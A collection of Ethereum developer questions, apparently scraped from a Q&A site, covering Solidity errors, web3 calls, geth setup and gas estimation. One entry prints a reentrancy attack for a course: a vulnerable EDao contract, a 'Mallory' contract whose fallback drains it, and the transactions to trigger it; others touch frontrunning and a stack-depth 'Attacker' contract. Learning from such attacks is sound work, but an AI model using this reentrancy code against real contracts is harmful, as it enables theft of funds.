texts:
I am trying to call a function of a contract that has been deployed to Ganache. I am trying to call a function that makes payouts to a few addresses and can be called by owner only. When I am calling the function, I get this error:

 The send transactions "from" field must be defined!

I don't understand the problem. All this contract does is that it transfers the contract balance to a few addresses. It is not payable. So, how do I resolve this error?

Contract Function:

function distributePrizes() public _ownerOnly{
    uint numberWinner = generateNumber();
    address[100] memory winners; // We have to create a temporary in memory array with fixed size
      uint256 count = 0; // This is the count for the array of winners
      for(uint256 i = 0; i < players.length; i++){
         address playerAddress = players[i];
         if(playerInfo[playerAddress].numberSelected == numberWinner){
            winners[count] = playerAddress;
            count++;
         }
         delete playerInfo[playerAddress]; // Delete all the players
      }
      winnerArray = winners;
      players.length = 0; // Delete all the players array
      uint256 winnerEtherAmount = totalBet / winners.length; // How much each winner gets
      for(uint256 j = 0; j < count; j++){
         if(winners[j] != address(0)) // Check that the address in this fixed array is not empty
         winners[j].transfer(winnerEtherAmount);
      }

    }

React function where the contract function is being called:

selectWinner = async (e) =>{
    const { accounts, contract, web3 } = this.state;
    const balance = await web3.eth.getBalance(contract.address);
    //console.log('Winners selected')
    await contract.distributePrizes();
    const newBalance = await web3.eth.getBalance(contract.address);
    const winners = await contract.winnerArray;
    this.setState({winnerAddress: winners, totalBet: newBalance})
  }


texts: Is it possible to stop-start mining when going solo?

texts: When solo mining, can I stop and start ethminer once in a while (a few mins gap) or will this reduce the likelihood of finding a block significantly (i.e. starting all over again)?


texts: What exactly does the "m" function in the formal Bloom filter specifications do?

texts:
Excerpt from page 6 of the yellow white paper:

I can understand the first three definitions, the fourth one is problematic. How does the m function actually work? Maybe I'm not too familiar with formal specification, but I'm specifically confused on the [i,i+1] part. Does it  take the bits at position i and i+1 of the hash, sum them up and then apply modulo 2048?


texts:
I am trying to replicate the famous DAO attack for a cryptocurrencies course.

I have the following contract already deployed on the blockchain.

pragma solidity ^0.5.4;

contract EDao {
    address payable public student;

    //Events
    event Success(address src,uint256 ret);
    event Fail(address src,uint256 ret);
    event NotEnoughFunds(address src, uint256 req, uint256 avail, uint256 balance);

    //Structs
    struct Fund {
        address payable payoutAddr;
        uint256 amount;
    }
    struct Investor {
        bool canFund;
        bool canAddInvestor;
    }

    //Mappings
    mapping(address => Investor) investors;
    mapping(address => Fund) funds;

    constructor(address payable _student) public payable {
        // Set the deployer as one of the investors who initially funded this contract
        investors[msg.sender] = Investor({canFund:true, canAddInvestor:true});

        // Set the student as one of the investors
        student = _student;
        investors[student] = Investor({canFund:true, canAddInvestor:true});
    }

    function fundit(address payable to) public payable {
        Investor memory b = investors[msg.sender];
        if (b.canFund) {
            Fund storage f = funds[to];
            f.payoutAddr = to;
            f.amount += msg.value;
            emit Success(msg.sender,0);
        } else {
            emit Fail(msg.sender,1);
            revert();
        }
    }

    function queryFunds(address addr) public view returns (uint256) {
        Fund memory f = funds[addr];
        return f.amount;
    }

    function withdraw(address payable addr,uint256 amount) public returns (bool) {
        Fund storage f = funds[addr];
        if (f.amount >= amount && amount <= address(this).balance) {
            (bool success, ) = f.payoutAddr.call.value(amount)("");
            if (success) {
                f.amount = f.amount - amount;
                return true;
            }
        } else {
          emit NotEnoughFunds(msg.sender,amount,f.amount,address(this).balance);
        }
        return false;
    }

        function getStudent() public view returns (address) {
                return student;
        }

    function addInvestor(address payable investorAddr,bool canAdd) public {
        Investor memory b = investors[msg.sender];
        if (b.canAddInvestor) {
            investors[investorAddr] = Investor({canFund:true, canAddInvestor:canAdd});
            emit Success(msg.sender,0);
        } else {
            emit Fail(msg.sender,2);
        }
    }

    function getInvestor(address investorAddr) public view returns (bool canFund, bool canAddInvestor) {
        Investor memory b = investors[investorAddr];
        canFund = b.canFund;
        canAddInvestor = b.canAddInvestor;
                return (canFund, canAddInvestor);
    }

}

I have also written this contract and also deployed this to the blockchain:

pragma solidity ^0.5.12;
import './EDao.sol';

contract Mallory {
    address payable owner;
    EDao public dao = EDao(##EdaoSmartContractAddress##);

    constructor() public{owner = msg.sender; }

    function getJackpot()public { owner.transfer(address(this).balance); }

    function() external payable { dao.withdraw(address(this), 1000000000000000000); }

}

Now, to run the attack, I am doing the following:

Sending 1 eth to the edao address (contract) for the mallory address (einstance):

contract_function = contract.functions.fundit(einstance.address)
tx_hash = contract_function.transact({"from": w3.eth.accounts[0], "value": 1000000000000000000})

And then sending a transaction to Mallory with gas:

w3.eth.sendTransaction({'from':w3.eth.accounts[0],
                        'to':einstance.address,
                        'value':1,
                        'gas': 4712388})

After this ideally the callback function should help Mallory to steal all the coins from EDao. However, edao' balance increases by 1 and Mallory stays at zero.

Please help me to fix this. Am I doing something wrong?


texts: How estimate GAS from a contract call with Web3j

texts:
I'm trying to estimate gas cost of a contract call, i need to send a string to a contract, but i need to see if i overtook the GAS limit.

I'm trying like this:

    Transaction t = Transaction.createContractTransaction(myAddress, BigInteger.valueOf(100), gasPrice, gasLimit, null, "0123456789");
    EthEstimateGas eg = web3j.ethEstimateGas(t).send();
    System.out.println("EstimateGas: " + eg.getAmountUsed().toByteArray());

But i receive the error:

  Erro: org.web3j.exceptions.MessageDecodingException: Value must be in
  format 0x[1-9]+[0-9]* or 0x0


texts:
I am looking to broadcast a sequence of transactions and hoping these transactions would be mined within the same block. Is there any service that gives preferred access to miners or mining pools and allows you to do time critical transactions?
Use cases would include e.g.

Not wanting to disclose transactions in mempool, instead the tx would be directly mined from a private mempool

Frontrunning


texts: Can't sweep from Paper wallet. Unsupported Format

texts: I have an Ethereum paper wallet from 2 years ago. I am trying to sweep the paper wallet using Coinomi. The app states that the format of the private key is unsupported. The public key works properly on Etherscan but I am unable to use the private key.


texts: What exactly is the Nothing-At-Stake problem?

texts:
What exactly is the Nothing-At-Stake problem in Proof-of-Stake consensus networks?

While I understand what the nothing at stake problem means, I do not really understand the security implications. What are they?


texts:
I want to slice a string and save it to a memory or storage variable.
Is this possible?
function test(string calldata _input) external{
    string memory something = _input[1:3];
}

I am getting the following error:
TypeError: Type string calldata slice is not implicitly convertible to expected type string memory


texts:
Is there a way for a contract to automatically return tokens sent to it?

(Assuming the token follows the token standard.)


texts: How to fix this problem with Ethereum Wallet in order to convert DAO tokens into ethers using the withdrawal contract after the hard fork?

texts:
I am trying to convert The DAO tokens into ethers using the instructions for Ethereum Wallet as outlined in How do I convert my The DAO tokens into ethers using the withdrawal contract after the hard fork?.

When I start Ethereum Wallet (version 0.8.7), I do not receive the question "Do you want to activate the chain in which funds linked to the exploit are restored to a contract where they can be withdrawn by The DAO token holders?".

I get this error message:

Couldn't connect to node.
Node type: geth
Network: main
Platform: darwin (Architecure x64)
...flag provided but not defined: -support-dao-fork

Am hoping someone can advise on how to fix this.

Thanks so much!


texts: Similar to currency-abstraction, could there be cryptography-abstraction (free market for digital signatures on a single state)?

texts: Currency-abstraction for mining rewards was planned for Serenity, and so on, and so is out there as an idea. I thought about "signature-abstraction", so that different digital signatures could compete within a single state. Would that make sense in the context of Ethereum or Ethereum 2.0?


texts: etherparty/explorer issues: "Allow Access to Geth and Refresh the Page"

texts:
Does anyone here have experience with the etherparty/explorer blockchain explorer?  I am having trouble connecting.  I keep getting the error message

  "Allow Access to Geth and Refresh the Page"

when I access localhost:8000.

I was running geth and had the same error messages, but now I am running parity.  Here is how I invoke parity:

parity --chain dev  --dapps-apis-all --jsonrpc-cors "http://localhost:8000" --jsonrpc-apis "web3, eth" --jsonrpc-hosts="all" --networkid="<private-number>" --force-ui --ui-no-validation

Here is how etherparty/explorer says to invoke geth:

geth --rpc --rpccorsdomain "http://localhost:8000"

The RPC port is available at localhost:8545.

EDIT: I have since tested with geth, using the main net. I get the same error.  So I am trying other things. Maybe it's how I'm installing (or failing to install) web3?


texts: Creating an account in Mist I received an Etherbase ID which I then used to deposit funds (from Poloniex). However after syncing the Etherbase ID had changed (?). I can use the initial ID to see the funds in etherchain.org however how do I retrieve my funds? Someone suggested using myetherwallet however I don't know which info to enter so I can access the funds and resend them. Please help.


texts: Gas estimation failed when trying to get flashloan from Multiplier (on bsc)

texts:
I get a pop-up window every time when calling flashloan function says

Gas estimation errored with the following message (see below). The
transaction execution will likely fail. Do you want to force sending?
Internal JSON-RPC error.

pragma solidity ^0.5.0;

import "./base/FlashLoanReceiverBase.sol";
import "./interfaces/ILendingPoolAddressesProvider.sol";
import "./interfaces/ILendingPool.sol";
import "./interfaces/IDefi.sol";

contract FlashLoanDemo is FlashLoanReceiverBase {

    address public constant BNB_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;

    constructor(ILendingPoolAddressesProvider _addressesProvider)
        public
        FlashLoanReceiverBase(_addressesProvider)
    {
    }

    function flashloanBnb(uint256 _amount) public {
        bytes memory data = "";

        ILendingPool lendingPool = ILendingPool(
            addressesProvider.getLendingPool()
        );
        lendingPool.flashLoan(address(this), BNB_ADDRESS, _amount, data);
    }

}

How can I fix this? Thank you.


texts:
How do you configure the host/login/password of Redis to use with Ethereumj.

in ethereumj.conf, I have the values:

# Key value data source values: [leveldb/redis/mapdb]
keyvalue.datasource = redis

# Redis cloud enabled flag.
# Allows using RedisConnection for creating cloud based data structures.
redis.enabled=true

It seems to be developped with Spring Boot Redis, but the addition of a application.properties file containing has no effects, and it still create a local redis database:

spring.redis.host=myhost
spring.redis.port=6379


texts:
What is an SSZ partial? What are its benefits and are there any existing similar concepts that would help in understanding it?

Some references:

https://github.com/ethereum/eth2.0-specs/pull/1184/files

https://github.com/ethereum/eth2.0-specs/blob/5c2c5e6f385924b8668a9fbd289ce6605da50d5f/test_libs/pyspec/eth2spec/utils/ssz/ssz_partials.py


texts: Does it make sense to make every function in an ERC20 Token Contract unpayable?

texts:
Does it make sense to make every function in an ERC20 Token Contract unpayable using

require(msg.value == 0);

just in case that someone accidentally sends eth to the contract.


texts: What is the immutable keyword in Solidity?

texts: What is the immutable keyword in Solidity and how do I use it?


texts: Does quorum support privacy between accounts when multiple accounts use same quorum-node?

texts:
From what I understand by this wiki on Transaction processing, quorum-nodes which are privy to a private Tx, will update their private stateDbs.

My question is, can two different accounts access single node and perform private transactions with another account in a different node?
For example,
Node-A will be accessed by two accounts A1,A2
Node-B will be accessed by two accounts B1,B2
Now, can A1 perform a private TX with B1 resulting in updation of private-state-A1 and private-state-B1?

I feel I've misunderstood something here but I'm not sure what it is. I'm quite confused.

Please help. Thank you.


texts:
I am searching for an ERC1410 security token contract source code (must be tested) to implement in another contract, there is a github repo available but it is written in the beginning that the code is not tested. Can anyone provide me a tested code ?

It will be appreciated


texts: TypeError: Return argument type bytes32 is not implicitly convertible to expected type (type of first return variable)

texts:
I have one issue while deploying the below contract.could anyone help me to find the issue as unable to find issue.

pragma solidity >=0.4.22 <0.6.0;

contract Lottery {
    address payable[] public  players; // dynamic array with players addresses
    address payable public manager; // contract manager

    // contract constructor, runs once at contract deployment
    constructor() public {
        // the manager is account address that deploys the contract
        manager = msg.sender;
    }

    // this fallback payable function will be automatically called when somebody
    //sends ether to our contract address
    function () payable external {
        require(msg.value >= 0.01 ether);
        players.push(msg.sender); // add the address of the account that
                                  // sends ether to players array
    }

    function get_balance() public view returns(uint) {
        require(msg.sender == manager);
        return address(this).balance; // return contract balance
    }

    // returns a very big pseodo-random integer no.
    function random() public view returns(uint256) {
        return keccak256(abi.encodePacked(block.difficulty, block.timestamp, players.length)); <--error is this line
    }

    function selectWinner() public view returns(address) {
        require(msg.sender == manager);
        uint r = random();
        address payable winner;

        // a random index
        uint index = r % players.length;
        winner = players[index];

        // transfer contract balance to the winner address
        winner.transfer(address(this).balance);

        players = new address payable[](0); // resetting the players dynamic array
    }
 }


texts: How to skip transactional nonce for private ethereum chain

texts:
We are using a private ehtereum chain on geth. It is mainly for the purpose of storing the values as part of transactions and distribute across our private network. However when we are sending multiple transactions, we are facing nonce issue like "Known transaction" or "Nonce too low"

Also we are signing the transactions off chain and are sending raw transactions. In this  scenario, we are sometimes missing the nonce sequence and the transactions are being moved to queued status.

Do we have a option to tweak geth in such a way to remove the verification for nonce and process all the transactions that are sent to geth by making the validations other than the nonce.


texts: Where web3.eth.accounts.create() creates new account?

texts:
I am using ganache which creates an ethereum blockchain with 10 accounts.

The blockchain created by ganache is linked with truffle's pet-shop box using web3. I want to add a new account in that blockchain. I used web3.eth.accounts.create() which returns public and private key of the newly created account.

  truffle(development)> web3.eth.accounts.create()

{ address: '0x53811349479671B8230BD853184AFf1e589f5A07',
  privateKey:
   '0x68e18d97f62a803cd6f4da1f1e00cb360d217a33c67ed4120fa3947e121b5b03',
  signTransaction: [Function: signTransaction],
  sign: [Function: sign],
  encrypt: [Function: encrypt] }

But the new account doesn't appear in the ganache. I also used web3.eth.getAccounts() to show all the accounts in the blockchain but I didn't get the new account.

  truffle(development)> web3.eth.getAccounts()

[ '0x7771248F9Df904f5Ee684D325E9a2B4d7A413bA0',
  '0x9a46234628ab69516C43826A967312ABeB36DcE7',
  '0x1392BC4cdc0aB295FD18bb720218079Da3f0c73E',
  '0x4459Ffc957406B682DC8Cee556c2aDf17126A147',
  '0x25Ec4525E472EAf52D2bc289F5768dd57fc0FaE5',
  '0xf7A0B489BeE0ee7F195e64d991802f65a6B5AdDA',
  '0x77175215D7A5eedb1B5551c6bfedb8d38A415388',
  '0x25F4719D0eE8cc0eBf33a7AD61C35724Bc8E1740',
  '0xb6880212A8F43D4872789f8a2aEbaf8358b32f89',
  '0x5D51F0fB4bEa6fec0334fA0c7BBC5C3a8dD42Db1',
  '0xb037075B163a6d3772AA8a401FC8A1361b970c43' ]

I can use the new account by using its private key. But where the new account is created? How I will know that the new account is part of ethereum blockchain or not which is created by ganache?


texts: How to get contract internal transactions

texts:
I'd like to get the contract internal transactions like:
https://etherscan.io/address/0xd654bdd32fc99471455e86c2e7f7d7b6437e9179#internaltx

I'm using web3 API. Is there any way to do it? Where do they appear in the blockchain?


texts: Are there any libraries/tools for encoding input for data field of web3.eth.call method?

texts:
You can call contract functions using web3.eth.call method. Information on which function to call and what arguments to pass to this function is encoded according to the rules that can be found here. They are relatively easy to understand, and I believe somebody out there has already developed some libraries/tools for this purpose.

I'd be very grateful if you could point me in the right direction! Thank you!!!


texts: How to deploy a smart contract on a private blockchain?

texts:
I have used geth to setup a local private blockchain. I have been able to setup two accounts and send ether from one to the other and mine the transactions. Now I am trying to deploy a smart contract. I followed this steps:

Used solcjs to generate the .abi and .bin files

Start the miner

Unlocked the account used to deploy the contract

Saved in the geth console the bin and abi with:

var contract = web3.eth.contract(<CONTENTS_OF_ABI_FILE>)
var bytecode = '0x<CONTENTS_OF_BIN_FILE>'

Deploy the smart contract with:

var deploy = {from:eth.accounts[0], data:bytecode, gas: 2000000}
var instance = contract.new(param1,param2,param3, deploy)

Then geth returns undefined and if I execute `instance.address' I still get undefined.

Why is my contract not getting mined?


texts:
I am new to parity and wanted clarity on the clarity development chain

Is it like testrpc ie. stored in local and not like the testnets (ropsten, kovan and rinkeby) which are simulation blockchains?


texts: how many input and out put can include to a smart contract as multiple transaction?

texts: my main question is that how many addresses I can include to a smart contract as input and output and also I shoud add thease addresses before writing a smart contract or I can adding addresses after writing a smart contract? tnx you for answering


texts: Unit tests written in Solidity, how to change msg.sender address, msg.value,

texts:
I would like to know if it's possible to change the address of the message sender of contract's function call when writing unit tests in solidity. It really should be, I was trying to find out how but could not.

pragma solidity ^0.4.4;

import "truffle/Assert.sol";
import "truffle/DeployedAddresses.sol";

contract A {

    event Test(address add);

    function test() {
        Test(msg.sender);
    }
}

contract TestA {

    function test01() {
        A a = A(DeployedAddresses.A());
        a.test(); // <--- msg.sender is address(this), but how do we use a different account from testrpc?
    }
}

In gitter I got a response so I have tried to run it like this:

a.test({from: 0xf6a948bff792e4f42d7f17e5e4ebe20871d160f2});

It gives the following error:

TypeError: Wrong argument count for function call: 1 arguments given but expected 0. a.test({from: 0xf6a948bff792e4f42d7f17e5e4ebe20871d160f2});

Operating System: Windows 10
Truffle version: v3.4.11
Ethereum client: testrpc v4.1.3
node version: v8.7.0
npm version: 5.4.2


texts:
Is there a way to access a mapping variable such as:

mapping(bytes => bool) myMappingVar;

which is NOT:

Declared public explicitly
without using indexed based id
Also no corresponding public getter method is set

For example, from web3:

contract.instance.methods.myMappingVar('somevalue').call();


texts: Please help with Parsing Expected ',' but got ';'

texts:
I have looked far and wide for a solution and have read solidity documentation. Please help me find the parsing error in the code.
Thanks in advance.
var KiwiCoinSale = artifacts.require('KiwiCoinSale');

module.exports = function(deployer) {
  deployer.deploy(KiwiCoin, 1000000).then(function() {
    // Token price is 0.001 Ether
    var tokenPrice = 1000000000000000;
    return deployer.deploy(KiwiCoinSale, KiwiCoin.address, tokenPrice);
  } **<Error arrives here>**  **')' Expected)**

 function endSale() public {
        require(msg.sender == admin);
        require(condition);(tokenContract.transfer(admin, tokenContract.balanceOf(address(this))); **Errors arrives here** **Expected ',' but got ';'**


texts:
I'm writing a contract using remix,  and I'm hitting an error but I can't debug it.  When I enter the transaction hash in remix it tells me the json is empty ("").
I'm testing on the ropsten test network and using metamask for may wallet.
Is there a way I can log text and view those logs?


texts: Exception of Unknown kind of function call

texts:
I am using remix IDE and I am getting this error:

Internal exception in StandardCompiler::compileInternal: /src/libsolidity/ast/ASTJsonConverter.cpp(791): Throw in function string dev::solidity::ASTJsonConverter::functionCallKind(dev::solidity::FunctionCallKind)
    Dynamic exception type: N5boost16exception_detail10clone_implIN3dev8solidity21InternalCompilerErrorEEE
    std::exception::what: std::exception
    [PN3dev11tag_commentE] = Unknown kind of function call .

How to fix this problem.


texts:
In the Yellow paper, appendix F "Signing Transactions", (BYZANTIUM VERSION f72032b - 2018-05-04 to be specific), it says:

  The method of signing transactions is similar to the ‘Electrum style signatures’ as defined by Arnaud et al. [2017], heading “Managing styles with Radium” in the bullet point list.

The paper then goes on about how ECDSA is used in Ethereum, but never clarifies any furthur about what "Electrum style" means or how it's applied in this circumstance.

Here is the full quote of the mentioned section, retrieved at 27-07-2018:

  Managing styles with Radium

  We decided to use radium as the way to go to inject styles into components. By using the E instance provided by import Electrum from 'electrum'), components are automatically configured to use radium when wrapped like this:

import Electrum from 'electrum';
import _Button from './Button.component.js';
import _Button$styles from './Button.styles.js';
export const Button = Electrum.wrap ('Button', _Button, {styles: _Button$styles});

  See electrum-theme for an explanation of how style functions should
  be defined. Style functions can have following signatures:

  () => ... → a parameterless style function.
  (theme) => ... → a style function, based on the theme.
  (theme, props) => ... → a style function, based on the theme and on   the component properties. The component should implement a
  getter named   styleProps which returns a hash with the meaningful properties.

  Multiple styles definitions can be exported as a hash of style
  functions.

  Component with a single style function

  A component linked with a style definition consisting of a single
  style function will expose following method and property:

  styles → a styles object which can be set on DOM element style   properties; the styles object is compatible with Radium. It
  exposes a   with(s1, s2, ...) function which can be used to obtain
  an updated   styles object into which additional styles have been
  merged.
  mergeStyles(s1, s2, ...) → a hash containing the merged styles.

  Component with a multiple style functions

  A component linked with a style definition consisting of a multiple
  style functions will expose following methods:

  getStyles(key) → a styles object for the specified style definiton,   which can be set on DOM element style properties; the
  styles object is   compatible with Radium. It exposes a with(s1, s2,
  ...) function which   can be used to obtain an updated styles
  object into which additional   styles have been merged.
  mergeStyles(key, s1, s2, ...) → a hash containing the merged   styles for the specified style definition.

  Note that the signature of the methods are different from a component
  with a single style function.

I know that transaction signature Ethereum is a triplet of (v, r, s), but can't understand how any of the above description applies to it.


texts:
Following this answer, I'm using testrpc to create a large number of unlocked accounts:

testrpc -a 1000

This seems to create a new blockchain.

Is there a command option to point it to a custom genesis file or data directory? I can't find it in the docs. Perhaps there is something akin to the datadir command option for geth.


texts: What is the best resource for keeping up with changes to geth/Ethereum?

texts: For example, is there a dev blog or something similar that goes over the changes in new releases of geth, and the reasoning on the new changes? Or is it best to just watch the github repository?


texts:
I recently read about private transactions on Ethereum through zksnarks.

I have 2 questions. I think the answer to the first one is yes, but I would just like to get it confirmed.

1) Will zksnarks enable my transaction data to be private? For example, if I have a smart contract that takes in as input some private user data like their phone number I would like that information to not be publically viewable on the blockchain.

2) Are there any code examples available on what it would take to integrate zksnarks into your contract?


texts:
Last version of Mist I used was 0.8.1 - once unpacked, the directory had everything needed to run both Mist and geth - both of the executables were there. Now when I downloaded the latest Mist 0.8.3 release, the folder only comes with Ethereum Wallet Setup 0.8.3.exe, and it doesn't behave like a normal installer - it starts the wallet right away without actually doing any setup, before freezing during peer search.

What is the correct way of installing the newest Mist wallet so I can have access to both the wallet and geth?


texts:
Say eligible voters are sent voting keys they need to use to vote. A contract would have a list of the hashes of these voting keys for verification. A voter would call a function passing in their voting keys. Then, the hash of the voting key is checked against the list of hashes. Once complete, the voting key is then tied to the address of the sender so that only the sender can use it again (if he so chooses to change the vote).

Would there be a risk of someone anticipating these transactions, extracting the voting key, then creating a new transaction of the same voting key but a different vote but with a different gas price so that it is more likely to be mined?


texts: I can't verify my contract on the Rinkeby etherscan site

texts:
I'm getting the following error when verifying on the RINKEBY etherscan site:

Error! Unable to verify source code
Exception #1 Occured: ERROR|The Contract solidity compilation has
  exceeded the maximum timeout/memory limit that we can safely process.
  Automated source code verification is unavailable for this source code.

My contract is small enough to deploy successfully, but apparently the compile takes too long for Etherscan to verify. What are my options? Is the Rinkeby Etherscan verifier more limited, or will I have this problem on mainnet too? (that would be much more problematic)

EDIT: I have tried the new etherscan beta 2.0 compiler, and it has the exact same problem.


texts: Listen for Solidity Event With X Number of Confirmations

texts:
I presume Solidity events are fired the moment the block that includes its transaction is mined -- please correct me if I'm wrong.

I need to sync the transaction status locally but wish to only save them to database after X number of confirmations.

I'm not sure if there's a native way to listen for events in web3.js (1.0.0-beta) while specifying the number of confirmed blocks I'd like to wait.

The only approach I can think of is save the event in local database when it's heard, recording its block number and mark it as notConfirmed. Then have an auxiliary process to keep polling for the latest block number and mark all notConfirmed entries when lastestBlockNumber - eventBlockNumber > requiredConfirmation. The problem with this design is it involves constantly sweeping the database, which will become heavier as the event table grows.

The question is: How do you think of my design? Is there a better approach to listen for confirmed events?


texts: Why does DELEGATECALL use 94k gas in my contract in Remix?

texts:
I was inspired by another question to learn more about stack depth attacks.

When I try to run attack(1023) in Remix on this contract:

pragma solidity ^0.4.14;

contract Attacker {
    uint x;

    function attack(uint y) {
        if (y > x) {
            this.delegatecall(bytes4(sha3('attack(uint256)')), --y);
        }
        else {
            throw ; // doesn't matter, we never get here
        }
    }
}

Using 3M gas, I run out of gas 228 calls deep. Toward the end the DELEGATECALL instructions seem to use about 1.5k gas. But on the first DELEGATECALL, I'm seeing 94k. Here are the steps I use to generate that number:

Create above contract in Remix using Javascript VM
Call attack(1023)
Click into the debugger after it runs out of gas
Step through with the "Instructions" bar open until just before DELEGATECALL
Under "Step detail" note "remaining gas" of 5977987
Click "Step into forward"
Under "Step detail" note "remaining gas" of 5883892


texts: How do I calculate the gas limit for an oraclize query?

texts: I have an oraclize query in my solidity contract and if I don't up the gas limit it doesnt work. My oracalize queries have call backs which call more oraclize queries.


texts: How do I configure a browser to resolve ENS names from a testnet?

texts: I want to preview a major revision of my Dwebsite before I update the IPFS CID to which the mainnet ENS name resolves; this requires locally resolvable names so hyperlinks and resource references work correctly. There are docs available for deploying ENS on a private chain, and also buying ENS names on public testnets, but I have't found any browser config info. I've searched and looked around the IPFS Companion source and settings without success; how do I configure a browser to resolve ENS names outside of the mainnet?


texts:
Sorry if this type of question has been asked before, but I have not found any questions dealing with this scenario. I am using Geth and am kind of new to this thing. I bought some Ether on Coinbase a while back and initiated a transfer to my Geth account address from Coinbase and was able to see that it successfully occurred.

Now, I want send that amount back to my Coinbase address and I used the following command in the Geth console (replacing xxx with the actual addresses):

eth.sendTransaction({from: '0xAf2999f18d582086Ce62209ef4701E6F23066C1C', to: '0x7DD98A5581c3d9BA1dfF9C7894368Cb434351B7C', value: web3.toWei(5, "ether")}

This has been running for probably 30 minutes and the only output I have received from the Geth console are three periods (...). It is important to note that I have not fully synchronized with the Blockchain (because it will take several more days, due to disk I/O) and the console still shows some block updates while this is still running:

Geth also showed a balanced of 0 ETH before I sent the transaction. I know that my address has 5 ETH due to the confirmation I can see on etherscan.io.

Will this transaction ever resolve? If not, is it safe to CTRL + C out of it? When would I be able to actually send out a transaction?

I tried using Ethereum Wallet, but when I pressed send, nothing actually happened. Similar, Ethereum Wallet wanted me to create a contract to view my balance, but that contract had a cost associated with it, so I did not proceed with that.


texts: Issue won't allow this transaction (Smart contract)

texts:
•Windows 8
•Mist 0.8.9
•Tesnet

When I publish my crowdsale smart contract and try to send ethers,i have this warning


texts: Easiest way to compile solidity in user's browser?

texts:
I'd like to compile solidity in the browser. web3 has deprecated compile() features so you can't call web3.eth.compile.solidity() anymore.
I tried to browserify require('solc') / require('solc/wrapper') so that I could try to access compilation functions, but it seems to have issues.
I found one project that does this called browser-solc but it was last updated a year ago and I'm not sure I want to rely on it.
One option is just creating an endpoint to and executing it serverside, and returning the result to the user for use in smart contract deployment.
Any thoughts or solutions on the subject appreciated.


texts:
Is it possible to run BSC node geth  -—syncmode light mode?
This is what i get following steps https://github.com/binance-chain/bsc only using -—syncmode light
t=2021-05-08T11:56:12+0300 lvl=info msg="Block synchronisation started"
t=2021-05-08T11:56:47+0300 lvl=info msg="Looking for peers"                   peercount=0 tried=26 static=26
t=2021-05-08T11:56:57+0300 lvl=info msg="Looking for peers"                   peercount=0 tried=26 static=26
t=2021-05-08T11:57:12+0300 lvl=warn msg="Synchronisation failed, dropping peer" peer=0e8faf860dce288213e055a2c3efee9b3db5190465d6bdc9333b9a8178ffebda err=timeout
t=2021-05-08T11:57:22+0300 lvl=info msg="Looking for peers"                     peercount=0 tried=0  static=26
t=2021-05-08T11:57:57+0300 lvl=info msg="Looking for peers"                     peercount=0 tried=26 static=26
t=2021-05-08T11:58:22+0300 lvl=warn msg="Synchronisation failed, dropping peer" peer=0e8faf860dce288213e055a2c3efee9b3db5190465d6bdc9333b9a8178ffebda err=timeout
t=2021-05-08T11:58:32+0300 lvl=info msg="Looking for peers"                     peercount=0 tried=26 static=26
t=2021-05-08T11:58:42+0300 lvl=info msg="Looking for peers"                     peercount=0 tried=26 static=26
t=2021-05-08T11:59:07+0300 lvl=info msg="Looking for peers"                     peercount=0 tried=0  static=26
t=2021-05-08T11:59:42+0300 lvl=info msg="Looking for peers"                     peercount=0 tried=26 static=26

and so on without syncing any blocks


texts: How to setup a DOMAIN name for my project?

texts:
I have created one project by writing samrtcontracts and web3api . NOW i want to deploy my code into live using domain name .so that all the users can use it.
How can i deploy my code into live and how can i setup a domian name.

Thanks in advance.


texts: The method eth_getBalance does not exist/is not available

texts:
I'm trying to follow the simple "Getting Started with Geth" page instructions but it is not written very well and I'm doing something wrong. This is the page I'm looking at:Getting Started with Geth
I am using Ubuntu 20.04.
This is what I've done so far:
clef init
clef newaccount //(twice, created 2 accounts)

These accounts were created at /home/ubuntu/.ethereum/keystore
Next I did
clef --keystore /home/geth/keystore --chainid 5 (I created a /geth/keystore folder in the /home directory)
I got this message:
INFO [04-10|12:55:04.440] Using CLI as UI-channel
INFO [04-10|12:55:04.702] Loaded 4byte database                    embeds=146841   locals=0 local=./4byte-custom.json
WARN [04-10|12:55:04.702] Failed to open master, rules disabled    err="failed s  tat on /root/.clef/masterseed.json: stat /root/.clef/masterseed.json: no such fi  le or directory"
INFO [04-10|12:55:04.702] Starting signer                          chainid=5 key  store=/home/ubuntu/.ethereum/keystore light-kdf=false advanced=false
DEBUG[04-10|12:55:04.703] FS scan times                            list="82.335µ  s" set="7.149µs" diff="3.942µs"
ERROR[04-10|12:55:04.703] Failed to enumerate USB devices          hub=ledger ve  ndor=11415 failcount=1 err="failed to initialize libusb: libusb: unknown error [  code -99]"
DEBUG[04-10|12:55:04.703] Ledger support enabled
ERROR[04-10|12:55:04.703] Failed to enumerate USB devices          hub=trezor ve  ndor=21324 failcount=1 err="failed to initialize libusb: libusb: unknown error [  code -99]"
DEBUG[04-10|12:55:04.703] Trezor support enabled via HID
ERROR[04-10|12:55:04.703] Failed to enumerate USB devices          hub=trezor ve  ndor=4617  failcount=1 err="failed to initialize libusb: libusb: unknown error [  code -99]"
DEBUG[04-10|12:55:04.703] Trezor support enabled via WebUSB
INFO [04-10|12:55:04.703] Smartcard socket file missing, disabling err="stat /ru  n/pcscd/pcscd.comm: no such file or directory"
ERROR[04-10|12:55:04.704] Failed to enumerate USB devices          hub=ledger ve  ndor=11415 failcount=2 err="failed to initialize libusb: libusb: unknown error [  code -99]"
ERROR[04-10|12:55:04.704] Failed to enumerate USB devices          hub=trezor ve  ndor=21324 failcount=2 err="failed to initialize libusb: libusb: unknown error [  code -99]"
ERROR[04-10|12:55:04.704] Failed to enumerate USB devices          hub=trezor ve  ndor=4617  failcount=2 err="failed to initialize libusb: libusb: unknown error [  code -99]"
INFO [04-10|12:55:04.704] Audit logs configured                    file=audit.lo  g
DEBUG[04-10|12:55:04.704] IPCs registered                          namespaces=ac  count
INFO [04-10|12:55:04.704] IPC endpoint opened                      url=/root/.cl  ef/clef.ipc
------- Signer info -------
* extapi_version : 6.1.0
* extapi_http : n/a
* extapi_ipc : /root/.clef/clef.ipc
* intapi_version : 7.0.1

Next I did this command:
geth --goerli --syncmode "light" --http --signer=/root/.clef/clef.ipc because I saw this line displayed in the previous command: * extapi_ipc : /root/.clef/clef.ipc
Then it started syncing the Goerli network.
Then I sent one of my addresses some "GOETH" using a faucet.
I wanted to check if I received anything by using the following command:
web3.fromWei(eth.getBalance("<my_address>"),"ether ") and got this error:

Error: the method eth_getBalance does not exist/is not available
at web3.js:6347:37(47)
at web3.js:5081:62(37)
at :1:28(7)

What am I doing wrong?


texts: How truffle share (is it?) the addresses of the previously deployed contracts between migrations files?

texts:
